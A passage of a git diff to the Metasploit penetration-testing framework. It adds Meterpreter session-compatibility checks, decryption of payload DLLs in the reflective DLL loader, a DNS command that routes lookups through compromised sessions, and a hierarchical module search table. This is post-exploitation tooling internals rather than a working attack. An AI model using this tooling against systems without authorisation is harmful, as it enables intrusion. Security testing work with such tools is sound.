missing_cmd_ids.map { |cmd_id| Rex::Post::Meterpreter::ExtensionMapper.get_extension_name(cmd_id) }.uniq - missing_extensions.each do |ext_name| - # If the extension is already loaded, the command is truly missing - return ["missing Meterpreter features: #{command_names_for(missing_cmd_ids)}"] if session.ext.aliases.include?(ext_name) - - begin - session.core.use(ext_name) - rescue RuntimeError - return ["unloadable Meterpreter extension: #{ext_name}"] - end - end - end - missing_cmd_ids -= session.commands - return ["missing Meterpreter features: #{command_names_for(missing_cmd_ids)}"] unless missing_cmd_ids.empty? - - [] - end - - def command_names_for(command_ids) - command_ids.map { |id| Rex::Post::Meterpreter::CommandMapper.get_command_name(id) }.join(', ') end end diff --git a/lib/msf/core/reflective_dll_loader.rb b/lib/msf/core/reflective_dll_loader.rb index b1433262b0..02e06351e3 100644 --- a/lib/msf/core/reflective_dll_loader.rb +++ b/lib/msf/core/reflective_dll_loader.rb @@ -24,8 +24,8 @@ module Msf::ReflectiveDLLLoader # @return [Array] Tuple of DLL contents and offset to the # +ReflectiveLoader+ function within the DLL. def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER) - dll = '' - ::File.open(dll_path, 'rb') { |f| dll = f.read } + encrypted_dll = ::File.binread(dll_path) + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_dll) offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal) @@ -43,7 +43,8 @@ module Msf::ReflectiveDLLLoader # # @return [Integer] offset to the +ReflectiveLoader+ function within the DLL. def load_rdi_dll_from_data(dll_data, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER) - offset = parse_pe(dll_data, loader_name: loader_name, loader_ordinal: loader_ordinal) + decrypted_dll_data = ::MetasploitPayloads::Crypto.decrypt(ciphertext: dll_data) + offset = parse_pe(decrypted_dll_data, loader_name: loader_name, loader_ordinal: loader_ordinal) unless offset raise 'Cannot find the ReflectiveLoader entry point in DLL data' diff --git a/lib/msf/core/rhosts_walker.rb b/lib/msf/core/rhosts_walker.rb index 9f0f5f0d07..b414abb214 100644 --- a/lib/msf/core/rhosts_walker.rb +++ b/lib/msf/core/rhosts_walker.rb @@ -39,9 +39,15 @@ module Msf end class InvalidSchemaError < StandardError + MESSAGE = 'Invalid schema' end class InvalidCIDRError < StandardError + MESSAGE = 'Invalid CIDR' + end + + class RhostResolveError < StandardError + MESSAGE = 'Host resolution failed' end def initialize(value = '', datastore = Msf::ModuleDataStore.new(nil)) @@ -135,20 +141,30 @@ module Msf schema = Regexp.last_match(:schema) raise InvalidSchemaError unless SUPPORTED_SCHEMAS.include?(schema) + found = false parse_method = "parse_#{schema}_uri" parsed_options = send(parse_method, value, datastore) Rex::Socket::RangeWalker.new(parsed_options['RHOSTS']).each_ip do |ip| results << datastore.merge( parsed_options.merge('RHOSTS' => ip, 'UNPARSED_RHOSTS' => value) ) + found = true + end + unless found + raise RhostResolveError.new(value) end else + found = false Rex::Socket::RangeWalker.new(value).each_host do |rhost| overrides = {} overrides['UNPARSED_RHOSTS'] = value overrides['RHOSTS'] = rhost[:address] set_hostname(datastore, overrides, rhost[:hostname]) results << datastore.merge(overrides) + found = true + end + unless found + raise RhostResolveError.new(value) end end rescue ::Interrupt diff --git a/lib/msf/core/rpc/v10/rpc_plugin.rb b/lib/msf/core/rpc/v10/rpc_plugin.rb index 1e627cc5cb..f689f98b2c 100644 --- a/lib/msf/core/rpc/v10/rpc_plugin.rb +++ b/lib/msf/core/rpc/v10/rpc_plugin.rb @@ -1,4 +1,6 @@ # -*- coding: binary -*- +require 'active_support/hash_with_indifferent_access' + module Msf module RPC class RPC_Plugin < RPC_Base @@ -17,7 +19,7 @@ class RPC_Plugin < RPC_Base # # Load the nexpose plugin # rpc.call('plugin.load', 'nexpose') def rpc_load(path, xopts = {}) - opts = {} + opts = ActiveSupport::HashWithIndifferentAccess.new xopts.each do |k, v| if k.class == String diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 7572858e6a..55690d8429 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'rex' + module Msf diff --git a/lib/msf/core/session/basic.rb b/lib/msf/core/session/basic.rb index 3677f27375..bd7875dd41 100644 --- a/lib/msf/core/session/basic.rb +++ b/lib/msf/core/session/basic.rb @@ -10,8 +10,8 @@ module Session ### module Basic - include Session - include Interactive + include Msf::Session + include Msf::Session::Interactive # # Description of the session. diff --git a/lib/msf/core/session/comm.rb b/lib/msf/core/session/comm.rb index 64501e6f33..0340442953 100644 --- a/lib/msf/core/session/comm.rb +++ b/lib/msf/core/session/comm.rb @@ -22,6 +22,13 @@ module Comm def create(param) raise NotImplementedError end + + # + # Does the Comm support sending UDP messages? + # + def supports_udp? + raise NotImplementedError + end end end diff --git a/lib/msf/core/session_compatibility.rb b/lib/msf/core/session_compatibility.rb new file mode 100644 index 0000000000..bd02ecd149 --- /dev/null +++ b/lib/msf/core/session_compatibility.rb @@ -0,0 +1,317 @@ +# frozen_string_literal: true + +module Msf + module SessionCompatibility + include Msf::Auxiliary::Report + + include Msf::Module::HasActions + include Msf::Post::Common + + def initialize(info = {}) + super + + # Default stance is active + self.passive = info['Passive'] || false + self.session_types = info['SessionTypes'] || [] + end + + # + # Grabs a session object from the framework or raises {OptionValidateError} + # if one doesn't exist and is required. Initializes user input and output on the session. + # + # @raise [OptionValidateError] if {#session} returns nil + def setup + alert_user + + if options['SESSION']&.required && session.blank? + raise Msf::OptionValidateError, ['SESSION'] + end + + if datastore['SESSION'] && session.nil? + raise Msf::OptionValidateError, ['SESSION'] + end + + # Msf::Exploit#setup for exploits, NoMethodError for post modules + super rescue NoMethodError + + return unless session + + # Check session readiness before compatibility so the session can be queried + # for its platform, capabilities, etc. + check_for_session_readiness if session.type == "meterpreter" + + incompatibility_reasons = session_incompatibility_reasons(session) + if incompatibility_reasons.any? + print_warning('SESSION may not be compatible with this module:') + incompatibility_reasons.each do |reason| + print_warning(" * #{reason}") + end + end + + @session.init_ui(user_input, user_output) if @session + @sysinfo = nil + end + + # Meterpreter sometimes needs a little bit of extra time to + # actually be responsive for post modules. Default tries + # and retries for 5 seconds. + def check_for_session_readiness(tries=6) + session_ready_count = 0 + session_ready = false + until session.sys or session_ready_count > tries + session_ready_count += 1 + back_off_period = (session_ready_count**2)/10.0 + select(nil,nil,nil,back_off_period) + end + session_ready = !!session.sys + unless session_ready + raise "The stdapi extension has not been loaded yet." unless session.tlv_enc_key.nil? + raise "Could not get a hold of the session." + end + return session_ready + end + + # + # Default cleanup handler does nothing + # + def cleanup; end + + # + # Return the associated session or nil if there isn't one + # + # @return [Msf::Session] + # @return [nil] if the id provided in the datastore does not + # correspond to a session + def session + # Try the cached one + return @session if @session && !session_changed? + + if datastore['SESSION'] + @session = framework.sessions.get(datastore['SESSION'].to_i) + else + @session = nil + end + + @session + end + + def session_display_info + "Session: #{session.sid} (#{session.session_host})" + end + + alias :client :session + + # + # Can be overridden by individual modules to add new commands + # + def post_commands + {} + end + + # Whether this module's {Msf::Exploit::Stance} is {Msf::Exploit::Stance::Passive passive} + def passive? + passive + end + + # + # Return a (possibly empty) list of all compatible sessions + # + # @return [Array] + def compatible_sessions + sessions = [] + framework.sessions.each do |sid, s| + sessions << sid if session_compatible?(s) + end + sessions + end + + # + # Return false if the given session is not compatible with this module + # + # Checks the session's type against this module's + # module_info["SessionTypes"] as well as examining platform + # and arch compatibility. + # + # +sess_or_sid+ can be a Session object, Integer, or + # String. In the latter cases it should be a key in + # +framework.sessions+. + # + # @note Because it errs on the side of compatibility, a true return + # value from this method does not guarantee the module will work + # with the session. For example, ARCH_CMD modules can work on a + # variety of platforms and archs and thus return true in this check. + # + # @param sess_or_sid [Msf::Session,Integer,String] + # A session or session ID to compare against this module for + # compatibility. + # + def session_compatible?(sess_or_sid) + session_incompatibility_reasons(sess_or_sid).empty? + end + + # + # Return the reasons why a session is incompatible. + # + # @return Array + def session_incompatibility_reasons(sess_or_sid) + # Normalize the argument to an actual Session + case sess_or_sid + when ::Integer, ::String + s = framework.sessions[sess_or_sid.to_i] + when ::Msf::Session + s = sess_or_sid + when nil + # No session provided + return [] + end + + issues = [] + + # Can't do anything without a session + unless s + issues << ['invalid session'] + return issues + end + + # Can't be compatible if it's the wrong type + if session_types && !session_types.include?(s.type) + issues << "incompatible session type: #{s.type}" + end + + # Check to make sure architectures match + mod_arch = module_info['Arch'] + + if mod_arch + if s.arch.blank? + issues << 'Unknown session arch' + else + mod_arch = Array.wrap(mod_arch) + # Assume ARCH_CMD modules can work on supported SessionTypes since both shell and meterpreter types can execute commands + issues << "incompatible session architecture: #{s.arch}" unless mod_arch.include?(s.arch) || mod_arch.include?(ARCH_CMD) + end + end + + # Arch is okay, now check the platform. + + if platform && platform.is_a?(Msf::Module::PlatformList) && !platform.empty? + if s.platform.blank? + issues << 'Unknown session platform' + elsif !platform.supports?(Msf::Module::PlatformList.transform(s.platform)) + issues << "incompatible session platform: #{s.platform}" + end + end + + # Check all specified meterpreter commands are provided by the remote session + if s.type == 'meterpreter' + issues += meterpreter_session_incompatibility_reasons(s) + end + + issues + end + + # + # True when this module is passive, false when active + # + # @return [Boolean] + # @see passive? + attr_reader :passive + + # + # A list of compatible session types + # + # @return [Array] + attr_reader :session_types + + protected + + attr_writer :passive, :session_types + + def session_changed? + @ds_session ||= datastore['SESSION'] + + if (@ds_session != datastore['SESSION']) + @ds_session = nil + return true + else + return false + end + end + + # + # Return the reasons why a meterpreter session is incompatible. Checks all specified meterpreter commands + # are provided by the remote session + # + # @return Array + def meterpreter_session_incompatibility_reasons(session) + cmd_name_wildcards = module_info.dig('Compat', 'Meterpreter', 'Commands') || [] + cmd_names = Rex::Post::Meterpreter::CommandMapper.get_command_names.select do |cmd_name| + cmd_name_wildcards.any? { |cmd_name_wildcard| ::File.fnmatch(cmd_name_wildcard, cmd_name) } + end + + unmatched_wildcards = cmd_name_wildcards.select { |cmd_name_wildcard| cmd_names.none? { |cmd_name| ::File.fnmatch(cmd_name_wildcard, cmd_name) } } + unless unmatched_wildcards.empty? + # This implies that there was a typo in one of the wildcards because it didn't match anything. This is a developer mistake. + wlog("The #{fullname} module specified the following Meterpreter command wildcards that did not match anything: #{ unmatched_wildcards.join(', ') }") + end + + cmd_ids = cmd_names.map { |name| Rex::Post::Meterpreter::CommandMapper.get_command_id(name) } + + # XXX: Remove this condition once the payloads gem has had another major version bump from 2.x to 3.x and + # rapid7/metasploit-payloads#451 has been landed to correct the `enumextcmd` behavior on Windows. Until then, skip + # proactive validation of Windows core commands. This is not the only instance of this workaround. + if session.base_platform == 'windows' + cmd_ids = cmd_ids.select do |cmd_id| + !cmd_id.between?( + Rex::Post::Meterpreter::ClientCore.extension_id, + Rex::Post::Meterpreter::ClientCore.extension_id + Rex::Post::Meterpreter::COMMAND_ID_RANGE - 1 + ) + end + end + + # Windows does not support chmod, but will be defined by default in the file mixin + if session.base_platform == 'windows' + cmd_ids -= [Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_FS_CHMOD] + end + + missing_cmd_ids = (cmd_ids - session.commands) + unless missing_cmd_ids.empty? + # If there are missing commands, try to load the necessary extension. + + # If core_loadlib isn't supported, then extensions can't be loaded + return ['missing Meterpreter features: core can not be extended'] unless session.commands.include?(Rex::Post::Meterpreter::COMMAND_ID_CORE_LOADLIB) + + # Since core is already loaded, if the missing command is a core command then it's truly missing + missing_core_cmd_ids = missing_cmd_ids.select do |cmd_id| + cmd_id.between?( + Rex::Post::Meterpreter::ClientCore.extension_id, + Rex::Post::Meterpreter::ClientCore.extension_id + Rex::Post::Meterpreter::COMMAND_ID_RANGE - 1 + ) + end + if missing_core_cmd_ids.any? + return ["missing Meterpreter features: #{command_names_for(missing_core_cmd_ids)}"] + end + + missing_extensions = missing_cmd_ids.map { |cmd_id| Rex::Post::Meterpreter::ExtensionMapper.get_extension_name(cmd_id) }.uniq + missing_extensions.each do |ext_name| + # If the extension is already loaded, the command is truly missing + return ["missing Meterpreter features: #{command_names_for(missing_cmd_ids)}"] if session.ext.aliases.include?(ext_name) + + begin + session.core.use(ext_name) + rescue RuntimeError + return ["unloadable Meterpreter extension: #{ext_name}"] + end + end + end + missing_cmd_ids -= session.commands + return ["missing Meterpreter features: #{command_names_for(missing_cmd_ids)}"] unless missing_cmd_ids.empty? + + [] + end + + def command_names_for(command_ids) + command_ids.map { |id| Rex::Post::Meterpreter::CommandMapper.get_command_name(id) }.join(', ') + end + + end +end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 117b9d0cdb..6fbfacbe86 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1350,6 +1350,7 @@ class Core # Save the framework's datastore begin framework.save_config + driver.framework.dns_resolver.save_config if active_module active_module.save_config diff --git a/lib/msf/ui/console/command_dispatcher/creds.rb b/lib/msf/ui/console/command_dispatcher/creds.rb index 4f86d41469..c354bfa89b 100644 --- a/lib/msf/ui/console/command_dispatcher/creds.rb +++ b/lib/msf/ui/console/command_dispatcher/creds.rb @@ -451,10 +451,10 @@ class Creds if output_file&.ends_with?('.hcat') output_file = ::File.open(output_file, 'wb') - output_formatter = method(:hash_to_hashcat) + output_formatter = Metasploit::Framework::PasswordCracker::Hashcat::Formatter.method(:hash_to_hashcat) elsif output_file&.ends_with?('.jtr') output_file = ::File.open(output_file, 'wb') - output_formatter = method(:hash_to_jtr) + output_formatter = Metasploit::Framework::PasswordCracker::JtR::Formatter.method(:hash_to_jtr) else output_file = ::File.open(output_file, 'wb') unless output_file.blank? tbl = Rex::Text::Table.new(tbl_opts) diff --git a/lib/msf/ui/console/command_dispatcher/dns.rb b/lib/msf/ui/console/command_dispatcher/dns.rb new file mode 100755 index 0000000000..ec538a7c14 --- /dev/null +++ b/lib/msf/ui/console/command_dispatcher/dns.rb @@ -0,0 +1,334 @@ +# -*- coding: binary -*- + +module Msf +module Ui +module Console +module CommandDispatcher + +class DNS + + include Msf::Ui::Console::CommandDispatcher + + @@add_opts = Rex::Parser::Arguments.new( + ['-r', '--rule'] => [true, 'Set a DNS wildcard entry to match against' ], + ['-s', '--session'] => [true, 'Force the DNS request to occur over a particular channel (override routing rules)' ], + ) + + @@remove_opts = Rex::Parser::Arguments.new( + ['-i'] => [true, 'Index to remove'] + ) + + def initialize(driver) + super + end + + def name + 'DNS' + end + + def commands + commands = {} + + if framework.features.enabled?(Msf::FeatureManager::DNS_FEATURE) + commands = { + 'dns' => "Manage Metasploit's DNS resolving behaviour" + } + end + commands + end + + # + # Tab completion for the dns command + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array] the previously completed words on the command line. The array + # contains at least one entry when tab completion has reached this stage since the command itself has been completed + def cmd_dns_tabs(str, words) + return if driver.framework.dns_resolver.nil? + + if words.length == 1 + options = ['add','del','remove','purge','print'] + return options.select { |opt| opt.start_with?(str) } + end + + cmd = words[1] + case cmd + when 'purge','print' + # These commands don't have any arguments + return + when 'add' + # We expect a repeating pattern of tag (e.g. -r) and then a value (e.g. *.metasploit.com) + # Once this pattern is violated, we're just specifying DNS servers at that point. + tag_is_expected = true + if words.length > 2 + words[2..-1].each do |word| + if tag_is_expected && !word.start_with?('-') + return # They're trying to specify a DNS server - we can't help them from here on out + end + tag_is_expected = !tag_is_expected + end + end + + case words[-1] + when '-s', '--session' + session_ids = driver.framework.sessions.keys.map { |k| k.to_s } + return session_ids.select { |id| id.start_with?(str) } + when '-r', '--rule' + # Hard to auto-complete a rule with any meaningful value; just return + return + when /^-/ + # Unknown tag + return + end + + options = @@add_opts.option_keys.select { |opt| opt.start_with?(str) } + options << '' # Prevent tab-completion of a dash, given they could provide an IP address at this point + return options + when 'del','remove' + if words[-1] == '-i' + ids = driver.framework.dns_resolver.nameserver_entries.flatten.map { |entry| entry[:id].to_s } + return ids.select { |id| id.start_with? str } + else + return @@remove_opts.option_keys.select { |opt| opt.start_with?(str) } + end + end + end + + def cmd_dns_help + print_line "Manage Metasploit's DNS resolution behaviour" + print_line + print_line "Usage:" + print_line " dns [add] [--session ] [--rule ] ..." + print_line " dns [remove/del] -i [-i ...]" + print_line " dns [purge]" + print_line " dns [print]" + print_line + print_line "Subcommands:" + print_line " add - add a DNS resolution entry to resolve certain domain names through a particular DNS server" + print_line " remove - delete a DNS resolution entry; 'del' is an alias" + print_line " purge - remove all DNS resolution entries" + print_line " print - show all active DNS resolution entries" + print_line + print_line "Examples:" + print_line " Display all current DNS nameserver entries" + print_line " dns" + print_line " dns print" + print_line + print_line " Set the DNS server(s) to be used for *.metasploit.com to 192.168.1.10" + print_line " route add --rule *.metasploit.com 192.168.1.10" + print_line + print_line " Add multiple entries at once" + print_line " route add --rule *.metasploit.com --rule *.google.com 192.168.1.10 192.168.1.11" + print_line + print_line " Set the DNS server(s) to be used for *.metasploit.com to 192.168.1.10, but specifically to go through session 2" + print_line " route add --session 2 --rule *.metasploit.com 192.168.1.10" + print_line + print_line " Delete the DNS resolution rule with ID 3" + print_line " route remove -i 3" + print_line + print_line " Delete multiple entries in one command" + print_line " route remove -i 3 -i 4 -i 5" + print_line + print_line " Set the DNS server(s) to be used for all requests that match no rules" + print_line " route add 8.8.8.8 8.8.4.4" + print_line + end + + # + # Manage Metasploit's DNS resolution rules + # + def cmd_dns(*args) + return if driver.framework.dns_resolver.nil? + + args << 'print' if args.length == 0 + # Short-circuit help + if args.delete("-h") || args.delete("--help") + cmd_dns_help + return + end + + action = args.shift + begin + case action + when "add" + add_dns(*args) + when "remove", "del" + remove_dns(*args) + when "purge" + purge_dns + when "print" + print_dns + when "help" + cmd_dns_help + else + print_error("Invalid command. To view help: dns -h") + end + rescue ::ArgumentError => e + print_error(e.message) + end + end + + def add_dns(*args) + rules = [] + comm = nil + servers = [] + @@add_opts.parse(args) do |opt, idx, val| + unless servers.empty? || opt.nil? + raise ::ArgumentError.new("Invalid command near #{opt}") + end + case opt + when '--rule', '-r' + raise ::ArgumentError.new('No rule specified') if val.nil? + + rules << val + when '--session', '-s' + if val.nil? + raise ::ArgumentError.new('No session specified') + end + + unless comm.nil? + raise ::ArgumentError.new('Only one session can be specified') + end + + comm = val + when nil + servers << val + else + raise ::ArgumentError.new("Unknown flag: #{opt}") + end + end + + # The remaining args should be the DNS servers + + if servers.length < 1 + raise ::ArgumentError.new("You must specify at least one DNS server") + end + + servers.each do |host| + unless Rex::Socket.is_ip_addr?(host) + raise ::ArgumentError.new("Invalid DNS server: #{host}") + end + end + + comm_obj = nil + + unless comm.nil? + raise ::ArgumentError.new("Not a valid number: #{comm}") unless comm =~ /^\d+$/ + comm_int = comm.to_i + raise ::ArgumentError.new("Session does not exist: #{comm}") unless driver.framework.sessions.include?(comm_int) + comm_obj = driver.framework.sessions[comm_int] + end + + rules.each do |rule| + print_warning("DNS rule #{rule} does not contain wildcards, so will not match subdomains") unless rule.include?('*') + end + + # Split each DNS server entry up into a separate entry + servers.each do |server| + driver.framework.dns_resolver.add_nameserver(rules, server, comm_obj) + end + print_good("#{servers.length} DNS #{servers.length > 1 ? 'entries' : 'entry'} added") + end + + # + # Remove all matching user-configured DNS entries + # + def remove_dns(*args) + remove_ids = [] + @@remove_opts.parse(args) do |opt, idx, val| + case opt + when '-i' + raise ::ArgumentError.new("Not a valid number: #{val}") unless val =~ /^\d+$/ + remove_ids << val.to_i + end + end + + removed = driver.framework.dns_resolver.remove_ids(remove_ids) + difference = remove_ids.difference(removed.map { |entry| entry[:id] }) + print_warning("Some entries were not removed: #{difference.join(', ')}") unless difference.empty? + if removed.length > 0 + print_good("#{removed.length} DNS #{removed.length > 1 ? 'entries' : 'entry'} removed") + print_dns_set('Deleted entries', removed) + end + end + + # + # Delete all user-configured DNS settings + # + def purge_dns + driver.framework.dns_resolver.purge + print_good('DNS entries purged') + end + + # + # Display the user-configured DNS settings + # + def print_dns + results = driver.framework.dns_resolver.nameserver_entries + columns = ['ID','Rule(s)', 'DNS Server', 'Comm channel'] + print_dns_set('Custom nameserver rules', results[0]) + + # Default nameservers don't include a rule + columns = ['ID', 'DNS Server', 'Comm channel'] + print_dns_set('Default nameservers', results[1]) + + print_line('No custom DNS nameserver entries configured') if results[0].length + results[1].length == 0 + end + + private + + # + # Get user-friendly text for displaying the session that this entry would go through + # + def prettify_comm(comm, dns_server) + if comm.nil? + channel = Rex::Socket::SwitchBoard.best_comm(dns_server) + if channel.nil? + nil + else + "Session #{channel.sid} (route)" + end + else + if comm.alive? + "Session #{comm.sid}" + else + "Closed session (#{comm.sid})" + end + end + end + + def print_dns_set(heading, result_set) + return if result_set.length == 0 + if result_set[0][:wildcard_rules].any? + columns = ['ID', 'Rules(s)', 'DNS Server', 'Comm channel'] + else + columns = ['ID', 'DNS Server', 'Commm channel'] + end + + tbl = Table.new( + Table::Style::Default, + 'Header' => heading, + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => columns + ) + result_set.each do |hash| + if columns.size == 4 + tbl << [hash[:id], hash[:wildcard_rules].join(','), hash[:dns_server], prettify_comm(hash[:comm], hash[:dns_server])] + else + tbl << [hash[:id], hash[:dns_server], prettify_comm(hash[:comm], hash[:dns_server])] + end + end + + print(tbl.to_s) if tbl.rows.length > 0 + end + + def resolver + self.driver.framework.dns_resolver + end +end + +end +end +end +end \ No newline at end of file diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index d451b47ea0..634ce6a606 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -67,7 +67,10 @@ module Msf @dscache = {} @previous_module = nil @module_name_stack = [] + # Array of individual modules that have been searched for @module_search_results = [] + # Module search results, with additional metadata on what to do if the module is interacted with + @module_search_results_with_usage_metadata = [] @@payload_show_results = [] @dangerzone_map = nil end @@ -139,11 +142,18 @@ module Msf # Handles the index selection formatting def print_module_search_results_usage - index_usage = "use #{@module_search_results.length - 1}" - index_info = "info #{@module_search_results.length - 1}" - name_usage = "use #{@module_search_results.last.fullname}" + last_mod_with_usage_metadata = @module_search_results_with_usage_metadata.last + index_usage = "use #{@module_search_results_with_usage_metadata.length - 1}" + index_info = "info #{@module_search_results_with_usage_metadata.length - 1}" + name_usage = "use #{last_mod_with_usage_metadata[:mod].fullname}" - print("Interact with a module by name or index. For example %grn#{index_info}%clr, %grn#{index_usage}%clr or %grn#{name_usage}%clr\n\n") + additional_usage_message = "" + additional_usage_example = (last_mod_with_usage_metadata[:datastore] || {}).first + if framework.features.enabled?(Msf::FeatureManager::HIERARCHICAL_SEARCH_TABLE) && additional_usage_example + key, value = additional_usage_example + additional_usage_message = "\nAfter interacting with a module you can manually set a #{key} with %grnset #{key} '#{value}'%clr" + end + print("Interact with a module by name or index. For example %grn#{index_info}%clr, %grn#{index_usage}%clr or %grn#{name_usage}%clr#{additional_usage_message}\n\n") end # @@ -179,12 +189,16 @@ module Msf args.each do |arg| mod_name = arg + additional_datastore_values = nil + # Use a module by search index - index_from_list(@module_search_results, mod_name) do |mod| + index_from_list(@module_search_results_with_usage_metadata, mod_name) do |result| + mod = result&.[](:mod) next unless mod && mod.respond_to?(:fullname) - # Module cache object from @module_search_results + # Module cache object mod_name = mod.fullname + additional_datastore_values = result[:datastore] end # Ensure we have a reference name and not a path @@ -193,6 +207,9 @@ module Msf # Creates an instance of the module mod = framework.modules.create(name) + # If any additional datastore values were provided, set these values + mod.datastore.update(additional_datastore_values) unless additional_datastore_values.nil? + if mod.nil? print_error("Invalid module: #{name}") else @@ -386,18 +403,20 @@ module Msf 'stager' => 'Modules with a matching stager reference name', 'target' => 'Modules affecting this target', 'type' => 'Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)', + 'action' => 'Modules with a matching action name or description', }.each_pair do |keyword, description| print_line " #{keyword.ljust 17}: #{description}" end print_line print_line "Supported search columns:" { - 'rank' => 'Sort modules by their exploitabilty rank', + 'rank' => 'Sort modules by their exploitability rank', 'date' => 'Sort modules by their disclosure date. Alias for disclosure_date', 'disclosure_date' => 'Sort modules by their disclosure date', 'name' => 'Sort modules by their name', 'type' => 'Sort modules by their type', 'check' => 'Sort modules by whether or not they have a check method', + 'action' => 'Sort modules by whether or not they have actions', }.each_pair do |keyword, description| print_line " #{keyword.ljust 17}: #{description}" end @@ -422,7 +441,7 @@ module Msf count = -1 search_terms = [] sort_attribute = 'name' - valid_sort_attributes = ['rank','disclosure_date','name','date','type','check'] + valid_sort_attributes = ['action', 'rank','disclosure_date','name','date','type','check'] reverse_sort = false ignore_use_exact_match = false @@ -449,7 +468,7 @@ module Msf end if args.empty? - if @module_search_results.empty? + if @module_search_results_with_usage_metadata.empty? cmd_search_help return false end @@ -470,7 +489,9 @@ module Msf @module_search_results = Msf::Modules::Metadata::Cache.instance.find(search_params) @module_search_results.sort_by! do |module_metadata| - if sort_attribute == 'check' + if sort_attribute == 'action' + module_metadata.actions&.any? ? 0 : 1 + elsif sort_attribute == 'check' module_metadata.check ? 0 : 1 elsif sort_attribute == 'disclosure_date' || sort_attribute == 'date' # Not all modules have disclosure_date, i.e. multi/handler @@ -491,7 +512,7 @@ module Msf end if ignore_use_exact_match && @module_search_results.length == 1 && - @module_search_results.first.fullname == match.strip + @module_search_results.first.fullname == match.strip return false end @@ -504,19 +525,79 @@ module Msf # Generate the table used to display matches tbl = generate_module_table('Matching Modules', search_terms, row_filter) + @module_search_results_with_usage_metadata = [] @module_search_results.each do |m| + @module_search_results_with_usage_metadata << { mod: m } + count += 1 tbl << [ - count += 1, - m.fullname, - m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"), - m.rank, - m.check ? 'Yes' : 'No', - m.name, + count, + "#{m.fullname}", + m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"), + m.rank, + m.check ? 'Yes' : 'No', + m.name, ] - end - if @module_search_results.length == 1 && use - used_module = @module_search_results.first.fullname + if framework.features.enabled?(Msf::FeatureManager::HIERARCHICAL_SEARCH_TABLE) + total_children_rows = (m.actions&.length || 0) + (m.targets&.length || 0) + (m.notes&.[]('AKA')&.length || 0) + show_child_items = total_children_rows > 1 + next unless show_child_items + + # XXX: By default rex-text tables strip preceding whitespace: + # https://github.com/rapid7/rex-text/blob/1a7b639ca62fd9102665d6986f918ae42cae244e/lib/rex/text/table.rb#L221-L222 + # So use https://en.wikipedia.org/wiki/Non-breaking_space as a workaround for now. A change should exist in Rex-Text to support this requirement + indent = "\xc2\xa0\xc2\xa0\\_ " + # Note: We still use visual indicators for blank values as it's easier to read + # We can't always use a generic formatter/styler, as it would be applied to the 'parent' rows too + blank_value = '.' + if (m.actions&.length || 0) > 1 + m.actions.each do |action| + @module_search_results_with_usage_metadata << { mod: m, datastore: { 'ACTION' => action['name'] } } + count += 1 + tbl << [ + count, + "#{indent}action: #{action['name']}", + blank_value, + blank_value, + blank_value, + action['description'], + ] + end + end + + if (m.targets&.length || 0) > 1 + m.targets.each do |target| + @module_search_results_with_usage_metadata << { mod: m, datastore: { 'TARGET' => target } } + count += 1 + tbl << [ + count, + "#{indent}target: #{target}", + blank_value, + blank_value, + blank_value, + blank_value + ] + end + end + + if (m.notes&.[]('AKA')&.length || 0) > 1 + m.notes['AKA'].each do |aka| + @module_search_results_with_usage_metadata << { mod: m } + count += 1 + tbl << [ + count, + "#{indent}AKA: #{aka}", + blank_value, + blank_value, + blank_value, + blank_value + ] + end + end + end + end + if @module_search_results_with_usage_metadata.length == 1 && use + used_module = @module_search_results_with_usage_metadata.first[:mod].fullname cmd_use(used_module, true) end rescue ArgumentError @@ -712,15 +793,19 @@ module Msf # Try to create an instance of the supplied module name mod_name = args[0] + additional_datastore_values = nil + # Use a module by search index - index_from_list(@module_search_results, mod_name) do |mod| + index_from_list(@module_search_results_with_usage_metadata, mod_name) do |result| + mod = result&.[](:mod) unless mod && mod.respond_to?(:fullname) print_error("Invalid module index: #{mod_name}") return false end - # Module cache object from @module_search_results + # Module cache object from @module_search_results_with_usage_metadata mod_name = mod.fullname + additional_datastore_values = result[:datastore] end # See if the supplied module name has already been resolved @@ -804,6 +889,12 @@ module Msf active_module.datastore.update(@dscache[active_module.fullname]) end + # If any additional datastore values were provided, set these values + unless additional_datastore_values.nil? + mod.datastore.update(additional_datastore_values) + print_status("Additionally setting #{additional_datastore_values.map { |k,v| "#{k} => #{v}" }.join(", ")}") + end + # Choose a default payload when the module is used, not run if mod.datastore['PAYLOAD'] print_status("Using configured payload #{mod.datastore['PAYLOAD']}") @@ -1258,6 +1349,7 @@ module Msf print_line 'Usage: favorites' print_line print_line 'Print the list of favorite modules (alias for `show favorites`)' + print_line 'You can use the %grnfavorite%clr command to add the current module to your favorites list' print @@favorites_opts.usage end @@ -1479,6 +1571,7 @@ module Msf end @module_search_results = filtered_results.flatten.sort_by(&:fullname) end + @module_search_results_with_usage_metadata = @module_search_results.map { |mod| { mod: mod, datastore: {} } } show_module_metadata('Favorites', fav_modules) print_module_search_results_usage @@ -1675,12 +1768,15 @@ module Msf end def generate_module_table(type, search_terms = [], row_filter = nil) # :nodoc: + table_hierarchy_formatters = framework.features.enabled?(Msf::FeatureManager::HIERARCHICAL_SEARCH_TABLE) ? [Msf::Ui::Console::TablePrint::BlankFormatter.new] : [] + Table.new( Table::Style::Default, 'Header' => type, 'Prefix' => "\n", 'Postfix' => "\n", 'SearchTerm' => row_filter, + 'SortIndex' => -1, # For now, don't perform any word wrapping on the search table as it breaks the workflow of # copying module names in conjunction with the `use ` command 'WordWrap' => false, @@ 